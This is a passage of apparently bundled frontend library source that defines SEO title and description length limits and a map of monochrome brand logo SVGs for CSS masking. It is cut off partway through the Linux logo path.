budget.\n *\n * The `seo_title` is rendered as the page `<title>` VERBATIM — no brand suffix is\n * appended to it (the `| <Brand>` suffix is kept only on the default/actual-title\n * fallback). So this is the full rendered-title budget; search engines truncate\n * page titles around 60 chars.\n *\n * This number lives in exactly ONE place. Consumers:\n *   - `SEOEditorPreview` — input `maxLength` + the too-long alert.\n *   - the hub — imports it (via `@flamingo-stack/openframe-frontend-core/utils`)\n *     for the AI generation prompt guidance and the DB CHECK value.\n */\nexport const SEO_TITLE_MAX_LENGTH = 60;\n","/**\n * Single source of truth for the `seo_description` length budget.\n *\n * Unlike `seo_title` (soft search-engine guidance), this is a HARD cap: the\n * `seo_description` DB columns are `varchar(160)` and Postgres rejects longer\n * values outright (\"value too long for type character varying(160)\").\n *\n * This number lives in exactly ONE place. Consumers:\n *   - `SEOEditorPreview` — input `maxLength` + the too-long alert.\n *   - the hub — imports it (via `@flamingo-stack/openframe-frontend-core/utils`)\n *     for the AI generation prompt guidance and the rewrite-to-fit helper.\n */\nexport const SEO_DESCRIPTION_MAX_LENGTH = 160;\n","/** Monochrome brand silhouette SVGs (for CSS mask-image tinting), centralized so\n *  consumers don't ship their own copies. Keyed by lowercase brand name. */\nexport const BRAND_MARK_SVGS: Record<string, string> = {\n  amazonwebservices: `<svg role=\"img\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><title>Amazon Web Services</title><path d=\"M6.763 10.036c0 .296.032.535.088.71.064.176.144.368.256.576.04.063.056.127.056.183 0 .08-.048.16-.152.24l-.503.335a.383.383 0 0 1-.208.072c-.08 0-.16-.04-.239-.112a2.47 2.47 0 0 1-.287-.375 6.18 6.18 0 0 1-.248-.471c-.622.734-1.405 1.101-2.347 1.101-.67 0-1.205-.191-1.596-.574-.391-.384-.59-.894-.59-1.533 0-.678.239-1.23.726-1.644.487-.415 1.133-.623 1.955-.623.272 0 .551.024.846.064.296.04.6.104.918.176v-.583c0-.607-.127-1.03-.375-1.277-.255-.248-.686-.367-1.3-.367-.28 0-.568.031-.863.103-.295.072-.583.16-.862.272a2.287 2.287 0 0 1-.28.104.488.488 0 0 1-.127.023c-.112 0-.168-.08-.168-.247v-.391c0-.128.016-.224.056-.28a.597.597 0 0 1 .224-.167c.279-.144.614-.264 1.005-.36a4.84 4.84 0 0 1 1.246-.151c.95 0 1.644.216 2.091.647.439.43.662 1.085.662 1.963v2.586zm-3.24 1.214c.263 0 .534-.048.822-.144.287-.096.543-.271.758-.51.128-.152.224-.32.272-.512.047-.191.08-.423.08-.694v-.335a6.66 6.66 0 0 0-.735-.136 6.02 6.02 0 0 0-.75-.048c-.535 0-.926.104-1.19.32-.263.215-.39.518-.39.917 0 .375.095.655.295.846.191.2.47.296.838.296zm6.41.862c-.144 0-.24-.024-.304-.08-.064-.048-.12-.16-.168-.311L7.586 5.55a1.398 1.398 0 0 1-.072-.32c0-.128.064-.2.191-.2h.783c.151 0 .255.025.31.08.065.048.113.16.16.312l1.342 5.284 1.245-5.284c.04-.16.088-.264.151-.312a.549.549 0 0 1 .32-.08h.638c.152 0 .256.025.32.08.063.048.12.16.151.312l1.261 5.348 1.381-5.348c.048-.16.104-.264.16-.312a.52.52 0 0 1 .311-.08h.743c.127 0 .2.065.2.2 0 .04-.009.08-.017.128a1.137 1.137 0 0 1-.056.2l-1.923 6.17c-.048.16-.104.263-.168.311a.51.51 0 0 1-.303.08h-.687c-.151 0-.255-.024-.32-.08-.063-.056-.119-.16-.15-.32l-1.238-5.148-1.23 5.14c-.04.16-.087.264-.15.32-.065.056-.177.08-.32.08zm10.256.215c-.415 0-.83-.048-1.229-.143-.399-.096-.71-.2-.918-.32-.128-.071-.215-.151-.247-.223a.563.563 0 0 1-.048-.224v-.407c0-.167.064-.247.183-.247.048 0 .096.008.144.024.048.016.12.048.2.08.271.12.566.215.878.279.319.064.63.096.95.096.502 0 .894-.088 1.165-.264a.86.86 0 0 0 .415-.758.777.777 0 0 0-.215-.559c-.144-.151-.416-.287-.807-.415l-1.157-.36c-.583-.183-1.014-.454-1.277-.813a1.902 1.902 0 0 1-.4-1.158c0-.335.073-.63.216-.886.144-.255.335-.479.575-.654.24-.184.51-.32.83-.415.32-.096.655-.136 1.006-.136.175 0 .359.008.535.032.183.024.35.056.518.088.16.04.312.08.455.127.144.048.256.096.336.144a.69.69 0 0 1 .24.2.43.43 0 0 1 .071.263v.375c0 .168-.064.256-.184.256a.83.83 0 0 1-.303-.096 3.652 3.652 0 0 0-1.532-.311c-.455 0-.815.071-1.062.223-.248.152-.375.383-.375.71 0 .224.08.416.24.567.159.152.454.304.877.44l1.134.358c.574.184.99.44 1.237.767.247.327.367.702.367 1.117 0 .343-.072.655-.207.926-.144.272-.336.511-.583.703-.248.2-.543.343-.886.447-.36.111-.734.167-1.142.167zM21.698 16.207c-2.626 1.94-6.442 2.969-9.722 2.969-4.598 0-8.74-1.7-11.87-4.526-.247-.223-.024-.527.272-.351 3.384 1.963 7.559 3.153 11.877 3.153 2.914 0 6.114-.607 9.06-1.852.439-.2.814.287.383.607zM22.792 14.961c-.336-.43-2.22-.207-3.074-.103-.255.032-.295-.192-.063-.36 1.5-1.053 3.967-.75 4.254-.399.287.36-.08 2.826-1.485 4.007-.215.184-.423.088-.327-.151.32-.79 1.03-2.57.695-2.994z\"/></svg>`,\n  datadog: `<svg role=\"img\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><title>Datadog</title><path d=\"M19.57 17.04l-1.997-1.316-1.665 2.782-1.937-.567-1.706 2.604.087.82 9.274-1.71-.538-5.794zm-8.649-2.498l1.488-.204c.241.108.409.15.697.223.45.117.97.23 1.741-.16.18-.088.553-.43.704-.625l6.096-1.106.622 7.527-10.444 1.882zm11.325-2.712l-.602.115L20.488 0 .789 2.285l2.427 19.693 2.306-.334c-.184-.263-.471-.581-.96-.989-.68-.564-.44-1.522-.039-2.127.53-1.022 3.26-2.322 3.106-3.956-.056-.594-.15-1.368-.702-1.898-.02.22.017.432.017.432s-.227-.289-.34-.683c-.112-.15-.2-.199-.319-.4-.085.233-.073.503-.073.503s-.186-.437-.216-.807c-.11.166-.137.48-.137.48s-.241-.69-.186-1.062c-.11-.323-.436-.965-.343-2.424.6.421 1.924.321 2.44-.439.171-.251.288-.939-.086-2.293-.24-.868-.835-2.16-1.066-2.651l-.028.02c.122.395.374 1.223.47 1.625.293 1.218.372 1.642.234 2.204-.116.488-.397.808-1.107 1.165-.71.358-1.653-.514-1.713-.562-.69-.55-1.224-1.447-1.284-1.883-.062-.477.275-.763.445-1.153-.243.07-.514.192-.514.192s.323-.334.722-.624c.165-.109.262-.178.436-.323a9.762 9.762 0 0 0-.456.003s.42-.227.855-.392c-.318-.014-.623-.003-.623-.003s.937-.419 1.678-.727c.509-.208 1.006-.147 1.286.257.367.53.752.817 1.569.996.501-.223.653-.337 1.284-.509.554-.61.99-.688.99-.688s-.216.198-.274.51c.314-.249.66-.455.66-.455s-.134.164-.259.426l.03.043c.366-.22.797-.394.797-.394s-.123.156-.268.358c.277-.002.838.012 1.056.037 1.285.028 1.552-1.374 2.045-1.55.618-.22.894-.353 1.947.68.903.888 1.609 2.477 1.259 2.833-.294.295-.874-.115-1.516-.916a3.466 3.466 0 0 1-.716-1.562 1.533 1.533 0 0 0-.497-.85s.23.51.23.96c0 .246.03 1.165.424 1.68-.039.076-.057.374-.1.43-.458-.554-1.443-.95-1.604-1.067.544.445 1.793 1.468 2.273 2.449.453.927.186 1.777.416 1.997.065.063.976 1.197 1.15 1.767.306.994.019 2.038-.381 2.685l-1.117.174c-.163-.045-.273-.068-.42-.153.08-.143.241-.5.243-.572l-.063-.111c-.348.492-.93.97-1.414 1.245-.633.359-1.363.304-1.838.156-1.348-.415-2.623-1.327-2.93-1.566 0 0-.01.191.048.234.34.383 1.119 1.077 1.872 1.56l-1.605.177.759 5.908c-.337.048-.39.071-.757.124-.325-1.147-.946-1.895-1.624-2.332-.599-.384-1.424-.47-2.214-.314l-.05.059a2.851 2.851 0 0 1 1.863.444c.654.413 1.181 1.481 1.375 2.124.248.822.42 1.7-.248 2.632-.476.662-1.864 1.028-2.986.237.3.481.705.876 1.25.95.809.11 1.577-.03 2.106-.574.452-.464.69-1.434.628-2.456l.714-.104.258 1.834 11.827-1.424zM15.05 6.848c-.034.075-.085.125-.007.37l.004.014.013.032.032.073c.14.287.295.558.552.696.067-.011.136-.019.207-.023.242-.01.395.028.492.08.009-.048.01-.119.005-.222-.018-.364.072-.982-.626-1.308-.264-.122-.634-.084-.757.068a.302.302 0 0 1 .058.013c.186.066.06.13.027.207m1.958 3.392c-.092-.05-.52-.03-.821.005-.574.068-1.193.267-1.328.372-.247.191-.135.523.047.66.511.382.96.638 1.432.575.29-.038.546-.497.728-.914.124-.288.124-.598-.058-.698m-5.077-2.942c.162-.154-.805-.355-1.556.156-.554.378-.571 1.187-.041 1.646.053.046.096.078.137.104a4.77 4.77 0 0 1 1.396-.412c.113-.125.243-.345.21-.745-.044-.542-.455-.456-.146-.749\"/></svg>`,\n  git: `<svg role=\"img\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><title>Git</title><path d=\"M13.09 23.549a1.54 1.54 0 0 1-2.18 0L.451 13.089a1.54 1.54 0 0 1 0-2.179l7.191-7.19 2.733 2.733a1.85 1.85 0 0 0 .964 2.326v6.66a1.849 1.849 0 1 0 1.54 0V8.957l2.508 2.508a1.85 1.85 0 1 0 1.09-1.09l-2.634-2.634a1.85 1.85 0 0 0-2.378-2.377L8.73 2.63 10.91.451a1.54 1.54 0 0 1 2.179 0l10.459 10.46a1.54 1.54 0 0 1 0 2.179z\"/></svg>`,\n  github: `<svg role=\"img\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><title>GitHub</title><path d=\"M12 .297c-6.63 0-12 5.373-12 12 0 5.303 3.438 9.8 8.205 11.385.6.113.82-.258.82-.577 0-.285-.01-1.04-.015-2.04-3.338.724-4.042-1.61-4.042-1.61C4.422 18.07 3.633 17.7 3.633 17.7c-1.087-.744.084-.729.084-.729 1.205.084 1.838 1.236 1.838 1.236 1.07 1.835 2.809 1.305 3.495.998.108-.776.417-1.305.76-1.605-2.665-.3-5.466-1.332-5.466-5.93 0-1.31.465-2.38 1.235-3.22-.135-.303-.54-1.523.105-3.176 0 0 1.005-.322 3.3 1.23.96-.267 1.98-.399 3-.405 1.02.006 2.04.138 3 .405 2.28-1.552 3.285-1.23 3.285-1.23.645 1.653.24 2.873.12 3.176.765.84 1.23 1.91 1.23 3.22 0 4.61-2.805 5.625-5.475 5.92.42.36.81 1.096.81 2.22 0 1.606-.015 2.896-.015 3.286 0 .315.21.69.825.57C20.565 22.092 24 17.592 24 12.297c0-6.627-5.373-12-12-12\"/></svg>`,\n  gnubash: `<svg role=\"img\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><title>GNU Bash</title><path d=\"M21.038,4.9l-7.577-4.498C13.009,0.134,12.505,0,12,0c-0.505,0-1.009,0.134-1.462,0.403L2.961,4.9 C2.057,5.437,1.5,6.429,1.5,7.503v8.995c0,1.073,0.557,2.066,1.462,2.603l7.577,4.497C10.991,23.866,11.495,24,12,24 c0.505,0,1.009-0.134,1.461-0.402l7.577-4.497c0.904-0.537,1.462-1.529,1.462-2.603V7.503C22.5,6.429,21.943,5.437,21.038,4.9z M15.17,18.946l0.013,0.646c0.001,0.078-0.05,0.167-0.111,0.198l-0.383,0.22c-0.061,0.031-0.111-0.007-0.112-0.085L14.57,19.29 c-0.328,0.136-0.66,0.169-0.872,0.084c-0.04-0.016-0.057-0.075-0.041-0.142l0.139-0.584c0.011-0.046,0.036-0.092,0.069-0.121 c0.012-0.011,0.024-0.02,0.036-0.026c0.022-0.011,0.043-0.014,0.062-0.006c0.229,0.077,0.521,0.041,0.802-0.101 c0.357-0.181,0.596-0.545,0.592-0.907c-0.003-0.328-0.181-0.465-0.613-0.468c-0.55,0.001-1.064-0.107-1.072-0.917 c-0.007-0.667,0.34-1.361,0.889-1.8l-0.007-0.652c-0.001-0.08,0.048-0.168,0.111-0.2l0.37-0.236 c0.061-0.031,0.111,0.007,0.112,0.087l0.006,0.653c0.273-0.109,0.511-0.138,0.726-0.088c0.047,0.012,0.067,0.076,0.048,0.151 l-0.144,0.578c-0.011,0.044-0.036,0.088-0.065,0.116c-0.012,0.012-0.025,0.021-0.038,0.028c-0.019,0.01-0.038,0.013-0.057,0.009 c-0.098-0.022-0.332-0.073-0.699,0.113c-0.385,0.195-0.52,0.53-0.517,0.778c0.003,0.297,0.155,0.387,0.681,0.396 c0.7,0.012,1.003,0.318,1.01,1.023C16.105,17.747,15.736,18.491,15.17,18.946z M19.143,17.859c0,0.06-0.008,0.116-0.058,0.145 l-1.916,1.164c-0.05,0.029-0.09,0.004-0.09-0.056v-0.494c0-0.06,0.037-0.093,0.087-0.122l1.887-1.129 c0.05-0.029,0.09-0.004,0.09,0.056V17.859z M20.459,6.797l-7.168,4.427c-0.894,0.523-1.553,1.109-1.553,2.187v8.833 c0,0.645,0.26,1.063,0.66,1.184c-0.131,0.023-0.264,0.039-0.398,0.039c-0.42,0-0.833-0.114-1.197-0.33L3.226,18.64 c-0.741-0.44-1.201-1.261-1.201-2.142V7.503c0-0.881,0.46-1.702,1.201-2.142l7.577-4.498c0.363-0.216,0.777-0.33,1.197-0.33 c0.419,0,0.833,0.114,1.197,0.33l7.577,4.498c0.624,0.371,1.046,1.013,1.164,1.732C21.686,6.557,21.12,6.411,20.459,6.797z\"/></svg>`,\n  googlecloud: `<svg role=\"img\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><title>Google Cloud</title><path d=\"M12.19 2.38a9.344 9.344 0 0 0-9.234 6.893c.053-.02-.055.013 0 0-3.875 2.551-3.922 8.11-.247 10.941l.006-.007-.007.03a6.717 6.717 0 0 0 4.077 1.356h5.173l.03.03h5.192c6.687.053 9.376-8.605 3.835-12.35a9.365 9.365 0 0 0-2.821-4.552l-.043.043.006-.05A9.344 9.344 0 0 0 12.19 2.38zm-.358 4.146c1.244-.04 2.518.368 3.486 1.15a5.186 5.186 0 0 1 1.862 4.078v.518c3.53-.07 3.53 5.262 0 5.193h-5.193l-.008.009v-.04H6.785a2.59 2.59 0 0 1-1.067-.23h.001a2.597 2.597 0 1 1 3.437-3.437l3.013-3.012A6.747 6.747 0 0 0 8.11 8.24c.018-.01.04-.026.054-.023a5.186 5.186 0 0 1 3.67-1.69z\"/></svg>`,\n  grafana: `<svg role=\"img\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><title>Grafana</title><path d=\"M23.02 10.59a8.578 8.578 0 0 0-.862-3.034 8.911 8.911 0 0 0-1.789-2.445c.337-1.342-.413-2.505-.413-2.505-1.292-.08-2.113.4-2.416.62-.052-.02-.102-.044-.154-.064-.22-.089-.446-.172-.677-.247-.231-.073-.47-.14-.711-.197a9.867 9.867 0 0 0-.875-.161C14.557.753 12.94 0 12.94 0c-1.804 1.145-2.147 2.744-2.147 2.744l-.018.093c-.098.029-.2.057-.298.088-.138.042-.275.094-.413.143-.138.055-.275.107-.41.166a8.869 8.869 0 0 0-1.557.87l-.063-.029c-2.497-.955-4.716.195-4.716.195-.203 2.658.996 4.33 1.235 4.636a11.608 11.608 0 0 0-.607 2.635C1.636 12.677.953 15.014.953 15.014c1.926 2.214 4.171 2.351 4.171 2.351.003-.002.006-.002.006-.005.285.509.615.994.986 1.446.156.19.32.371.488.548-.704 2.009.099 3.68.099 3.68 2.144.08 3.553-.937 3.849-1.173a9.784 9.784 0 0 0 3.164.501h.08l.055-.003.107-.002.103-.005.003.002c1.01 1.44 2.788 1.646 2.788 1.646 1.264-1.332 1.337-2.653 1.337-2.94v-.058c0-.02-.003-.039-.003-.06.265-.187.52-.387.758-.6a7.875 7.875 0 0 0 1.415-1.7c1.43.083 2.437-.885 2.437-.885-.236-1.49-1.085-2.216-1.264-2.354l-.018-.013-.016-.013a.217.217 0 0 1-.031-.02c.008-.092.016-.18.02-.27.011-.162.016-.323.016-.48v-.253l-.005-.098-.008-.135a1.891 1.891 0 0 0-.01-.13c-.003-.042-.008-.083-.013-.125l-.016-.124-.018-.122a6.215 6.215 0 0 0-2.032-3.73 6.015 6.015 0 0 0-3.222-1.46 6.292 6.292 0 0 0-.85-.048l-.107.002h-.063l-.044.003-.104.008a4.777 4.777 0 0 0-3.335 1.695c-.332.4-.592.84-.768 1.297a4.594 4.594 0 0 0-.312 1.817l.003.091c.005.055.007.11.013.164a3.615 3.615 0 0 0 .698 1.82 3.53 3.53 0 0 0 1.827 1.282c.33.098.66.14.971.137.039 0 .078 0 .114-.002l.063-.003c.02 0 .041-.003.062-.003.034-.002.065-.007.099-.01.007 0 .018-.003.028-.003l.031-.005.06-.008a1.18 1.18 0 0 0 .112-.02c.036-.008.072-.013.109-.024a2.634 2.634 0 0 0 .914-.415c.028-.02.056-.041.085-.065a.248.248 0 0 0 .039-.35.244.244 0 0 0-.309-.06l-.078.042c-.09.044-.184.083-.283.116a2.476 2.476 0 0 1-.475.096c-.028.003-.054.006-.083.006l-.083.002c-.026 0-.054 0-.08-.002l-.102-.006h-.012l-.024.006c-.016-.003-.031-.003-.044-.006-.031-.002-.06-.007-.091-.01a2.59 2.59 0 0 1-.724-.213 2.557 2.557 0 0 1-.667-.438 2.52 2.52 0 0 1-.805-1.475 2.306 2.306 0 0 1-.029-.444l.006-.122v-.023l.002-.031c.003-.021.003-.04.005-.06a3.163 3.163 0 0 1 1.352-2.29 3.12 3.12 0 0 1 .937-.43 2.946 2.946 0 0 1 .776-.101h.06l.07.002.045.003h.026l.07.005a4.041 4.041 0 0 1 1.635.49 3.94 3.94 0 0 1 1.602 1.662 3.77 3.77 0 0 1 .397 1.414l.005.076.003.075c.002.026.002.05.002.075 0 .024.003.052 0 .07v.065l-.002.073-.008.174a6.195 6.195 0 0 1-.08.639 5.1 5.1 0 0 1-.267.927 5.31 5.31 0 0 1-.624 1.13 5.052 5.052 0 0 1-3.237 2.014 4.82 4.82 0 0 1-.649.066l-.039.003h-.287a6.607 6.607 0 0 1-1.716-.265 6.776 6.776 0 0 1-3.4-2.274 6.75 6.75 0 0 1-.746-1.15 6.616 6.616 0 0 1-.714-2.596l-.005-.083-.002-.02v-.056l-.003-.073v-.096l-.003-.104v-.07l.003-.163c.008-.22.026-.45.054-.678a8.707 8.707 0 0 1 .28-1.355c.128-.444.286-.872.473-1.277a7.04 7.04 0 0 1 1.456-2.1 5.925 5.925 0 0 1 .953-.763c.169-.111.343-.213.524-.306.089-.05.182-.091.273-.135.047-.02.093-.042.138-.062a7.177 7.177 0 0 1 .714-.267l.145-.045c.049-.015.098-.026.148-.041.098-.029.197-.052.296-.076.049-.013.1-.02.15-.033l.15-.032.151-.028.076-.013.075-.01.153-.024c.057-.01.114-.013.171-.023l.169-.021c.036-.003.073-.008.106-.01l.073-.008.036-.003.042-.002c.057-.003.114-.008.171-.01l.086-.006h.023l.037-.003.145-.007a7.999 7.999 0 0 1 1.708.125 7.917 7.917 0 0 1 2.048.68 8.253 8.253 0 0 1 1.672 1.09l.09.077.089.078c.06.052.114.107.171.159.057.052.112.106.166.16.052.055.107.107.159.164a8.671 8.671 0 0 1 1.41 1.978c.012.026.028.052.04.078l.04.078.075.156c.023.051.05.1.07.153l.065.15a8.848 8.848 0 0 1 .45 1.34.19.19 0 0 0 .201.142.186.186 0 0 0 .172-.184c.01-.246.002-.532-.024-.856z\"/></svg>`,\n  ibm: `<svg role=\"img\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><title>IBM</title><path d=\"M23.544 15.993c.038 0 .06-.017.06-.053v-.036c0-.035-.022-.052-.06-.052h-.09v.14zm-.09.262h-.121v-.498h.225c.112 0 .169.066.169.157 0 .079-.036.129-.09.15l.111.19h-.133l-.092-.17h-.07zm.434-.222v-.062c0-.2-.157-.357-.363-.357a.355.355 0 00-.363.357v.062c0 .2.156.358.363.358a.355.355 0 00.363-.358zm-.838-.03c0-.28.212-.492.475-.492.264 0 .475.213.475.491 0 .279-.211.491-.475.491a.477.477 0 01-.475-.49zM16.21 8.13l-.216-.624h-3.56v.624zm.413 1.19l-.216-.623h-3.973v.624zm2.65 7.147h3.107v-.624h-3.108zm0-1.192h3.107v-.623h-3.108zm0-1.19h1.864v-.624h-1.865zm0-1.191h1.864v-.624h-1.865zm0-1.191h1.864v-.624h-3.555l-.175.504-.175-.504h-3.555v.624h1.865v-.574l.2.574h3.33l.2-.574zm1.864-1.815h-3.142l-.217.624h3.359zm-7.46 3.006h1.865v-.624h-1.865zm0 1.19h1.865v-.623h-1.865zm-1.243 1.191h3.108v-.623h-3.108zm0 1.192h3.108v-.624h-3.108zm6.386-8.961l-.216.624h3.776v-.624zm-.629 1.815h4.19v-.624h-3.974zm-4.514 1.19h3.359l-.216-.623h-3.143zm2.482 2.383h2.496l.218-.624h-2.932zm.417 1.19h1.662l.218-.623h-2.098zm.416 1.191h.83l.218-.623h-1.266zm.414 1.192l.217-.624h-.432zm-12.433-.006l4.578.006c.622 0 1.18-.237 1.602-.624h-6.18zm4.86-3v.624h2.092c0-.216-.03-.425-.083-.624zm-3.616.624h1.865v-.624H6.217zm3.617-3.573h2.008c.053-.199.083-.408.083-.624H9.834zm-3.617 0h1.865v-.624H6.217zM9.55 7.507H4.973v.624h6.18a2.36 2.36 0 00-1.602-.624zm2.056 1.191H4.973v.624h6.884a2.382 2.382 0 00-.25-.624zm-5.39 2.382v.624h4.87c.207-.176.382-.387.519-.624zm4.87 1.191h-4.87v.624h5.389a2.39 2.39 0 00-.519-.624zm-6.114 3.006h6.634c.11-.193.196-.402.25-.624H4.973zM0 8.13h4.352v-.624H0zm0 1.191h4.352v-.624H0zm1.243 1.191h1.865v-.624H1.243zm0 1.191h1.865v-.624H1.243zm0 1.19h1.865v-.623H1.243zm0 1.192h1.865v-.624H1.243zM0 15.276h4.352v-.623H0zm0 1.192h4.352v-.624H0Z\"/></svg>`,\n  kubernetes: `<svg role=\"img\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><title>Kubernetes</title><path d=\"M10.204 14.35l.007.01-.999 2.413a5.171 5.171 0 0 1-2.075-2.597l2.578-.437.004.005a.44.44 0 0 1 .484.606zm-.833-2.129a.44.44 0 0 0 .173-.756l.002-.011L7.585 9.7a5.143 5.143 0 0 0-.73 3.255l2.514-.725.002-.009zm1.145-1.98a.44.44 0 0 0 .699-.337l.01-.005.15-2.62a5.144 5.144 0 0 0-3.01 1.442l2.147 1.523.004-.002zm.76 2.75l.723.349.722-.347.18-.78-.5-.623h-.804l-.5.623.179.779zm1.5-3.095a.44.44 0 0 0 .7.336l.008.003 2.134-1.513a5.188 5.188 0 0 0-2.992-1.442l.148 2.615.002.001zm10.876 5.97l-5.773 7.181a1.6 1.6 0 0 1-1.248.594l-9.261.003a1.6 1.6 0 0 1-1.247-.596l-5.776-7.18a1.583 1.583 0 0 1-.307-1.34L2.1 5.573c.108-.47.425-.864.863-1.073L11.305.513a1.606 1.606 0 0 1 1.385 0l8.345 3.985c.438.209.755.604.863 1.073l2.062 8.955c.108.47-.005.963-.308 1.34zm-3.289-2.057c-.042-.01-.103-.026-.145-.034-.174-.033-.315-.025-.479-.038-.35-.037-.638-.067-.895-.148-.105-.04-.18-.165-.216-.216l-.201-.059a6.45 6.45 0 0 0-.105-2.332 6.465 6.465 0 0 0-.936-2.163c.052-.047.15-.133.177-.159.008-.09.001-.183.094-.282.197-.185.444-.338.743-.522.142-.084.273-.137.415-.242.032-.024.076-.062.11-.089.24-.191.295-.52.123-.736-.172-.216-.506-.236-.745-.045-.034.027-.08.062-.111.088-.134.116-.217.23-.33.35-.246.25-.45.458-.673.609-.097.056-.239.037-.303.033l-.19.135a6.545 6.545 0 0 0-4.146-2.003l-.012-.223c-.065-.062-.143-.115-.163-.25-.022-.268.015-.557.057-.905.023-.163.061-.298.068-.475.001-.04-.001-.099-.001-.142 0-.306-.224-.555-.5-.555-.275 0-.499.249-.499.555l.001.014c0 .041-.002.092 0 .128.006.177.044.312.067.475.042.348.078.637.056.906a.545.545 0 0 1-.162.258l-.012.211a6.424 6.424 0 0 0-4.166 2.003 8.373 8.373 0 0 1-.18-.128c-.09.012-.18.04-.297-.029-.223-.15-.427-.358-.673-.608-.113-.12-.195-.234-.329-.349-.03-.026-.077-.062-.111-.088a.594.594 0 0 0-.348-.132.481.481 0 0 0-.398.176c-.172.216-.117.546.123.737l.007.005.104.083c.142.105.272.159.414.242.299.185.546.338.743.522.076.082.09.226.1.288l.16.143a6.462 6.462 0 0 0-1.02 4.506l-.208.06c-.055.072-.133.184-.215.217-.257.081-.546.11-.895.147-.164.014-.305.006-.48.039-.037.007-.09.02-.133.03l-.004.002-.007.002c-.295.071-.484.342-.423.608.061.267.349.429.645.365l.007-.001.01-.003.129-.029c.17-.046.294-.113.448-.172.33-.118.604-.217.87-.256.112-.009.23.069.288.101l.217-.037a6.5 6.5 0 0 0 2.88 3.596l-.09.218c.033.084.069.199.044.282-.097.252-.263.517-.452.813-.091.136-.185.242-.268.399-.02.037-.045.095-.064.134-.128.275-.034.591.213.71.248.12.556-.007.69-.282v-.002c.02-.039.046-.09.062-.127.07-.162.094-.301.144-.458.132-.332.205-.68.387-.897.05-.06.13-.082.215-.105l.113-.205a6.453 6.453 0 0 0 4.609.012l.106.192c.086.028.18.042.256.155.136.232.229.507.342.84.05.156.074.295.145.457.016.037.043.09.062.129.133.276.442.402.69.282.247-.118.341-.435.213-.71-.02-.039-.045-.096-.065-.134-.083-.156-.177-.261-.268-.398-.19-.296-.346-.541-.443-.793-.04-.13.007-.21.038-.294-.018-.022-.059-.144-.083-.202a6.499 6.499 0 0 0 2.88-3.622c.064.01.176.03.213.038.075-.05.144-.114.28-.104.266.039.54.138.87.256.154.06.277.128.448.173.036.01.088.019.13.028l.009.003.007.001c.297.064.584-.098.645-.365.06-.266-.128-.537-.423-.608zM16.4 9.701l-1.95 1.746v.005a.44.44 0 0 0 .173.757l.003.01 2.526.728a5.199 5.199 0 0 0-.108-1.674A5.208 5.208 0 0 0 16.4 9.7zm-4.013 5.325a.437.437 0 0 0-.404-.232.44.44 0 0 0-.372.233h-.002l-1.268 2.292a5.164 5.164 0 0 0 3.326.003l-1.27-2.296h-.01zm1.888-1.293a.44.44 0 0 0-.27.036.44.44 0 0 0-.214.572l-.003.004 1.01 2.438a5.15 5.15 0 0 0 2.081-2.615l-2.6-.44-.004.005z\"/></svg>`,\n  linux: `<svg role=\"img\" viewBox=\"0 0 24 24\" xmlns=\"http://www.w3.org/2000/svg\"><title>Linux</title><path d=\"M12.504 0c-.155 0-.315.008-.48.021-4.226.333-3.105 4.807-3.17 6.298-.076 1.092-.3 1.953-1.05 3.02-.885 1.051-2.127 2.75-2.716 4.521-.278.832-.41 1.684-.287 2.489a.424.424 0 00-.11.135c-.26.268-.45.6-.663.839-.199.199-.485.267-.797.4-.313.136-.658.269-.864.68-.09.189-.136.394-.132.602 0 .199.027.4.055.536.058.399.116.728.04.97-.249.68-.28 1.145-.106 1.484.174.334.535.47.94.601.81.2 1.91.135 2.774.6.926.466 1.866.67 2.616.47.526-.116.97-.464 1.208-.946.587-.003 1.23-.269 2.26-.334.699-.058 1.574.267 2.577.2.025.134.063.198.114.333l.003.003c.391.778 1.113 1.132 1.884 1.071.771-.06 1.592-.536 2.257-1.306.631-.765 1.683-1.084 2.378-1.503.348-.199.629-.469.649-.853.023-.4-.2-.811-.714-1.376v-.097l-.003-.003c-.17-.2-.25-.535-.338-.926-.085-.401-.182-.786-.492-1.046h-.003c-.059-.054-.123-.067-.188-.135a.357.357 0 00-.19-.064c.431-1.278.264-2.55-.173-3.694-.533-1.41-1.465-2.638-2.175-3.483-.796-1.005-1.576-1.957-1.56-3.368.026-2.152.236-6.133-3.544-6.139zm.529 3.405h.013c.213 0 .396.062.584.198.19.135.33.332.438.533.105.259.158.459.166.724 0-.02.006-.04.006-.06v.105a.086.086 0 01-.004-.021l-.004-.024a1.807 1.807 0 01-.15.706.953.953 0 01-.213.335.71.71 0 00-.088-.042c-.104-.045-.198-.064-.284-.133a1.312 1.312 0 00-.22-.066c.05-.06.146-.133.183-.198.053-.128.082-.264.088-.402v-.02a1.21 1.21 0 00-.061-.4c-.045-.134-.101-.2-.183-.333-.084-.066-.167-.132-.267-.132h-.016c-.093 0-.176.03-.262.132a.8.8 0 00-.205.334 1.18 1.18 0 00-.09.4v.019c.002.089.008.179.02.267-.193-.067-.438-.135-.607-.202a1.635 1.635 0 01-.018-.2v-.02a1.772 1.772 0 01.15-.768c.082-.22.232-.406.43-.533a.985.985 0 01.594-.2zm-2.962.059h.036c.142 0 .27.048.399.135.146.129.264.288.344.465.09.199.14.4.153.667v.004c.007.134.006.2-.002.266v.08c-.03.007-.056.018-.083.024-.152.055-.274.135-.393.2.012-.09.013-.18.003-.267v-.015c-.012-.133-.04-.2-.082-.333a.613.613 0 00-.166-.267.248.248 0 00-.183-.064h-.021c-.071.006-.13.04-.186.132a.552.552 0 00-.12.27.944.944 0 00-.023.33v.015c.012.135.037.2.08.334.046.134.098.2.166.268.01.009.02.018.034.024-.07.057-.117.07-.176.136a.304.304 0 01-.131.068 2.62 2.62 0 01-.275-.402 1.772 1.772 0 01-.155-.667 1.759 1.759 0 01.08-.668 1.43 1.43 0 01.283-.535c.128-.133.26-.2.418-.2zm1.37 1.706c.332 0 .733.065 1.216.399.293.2.523.269 1.052.468h.003c.255.136.405.266.478.399v-.131a.571.571 0 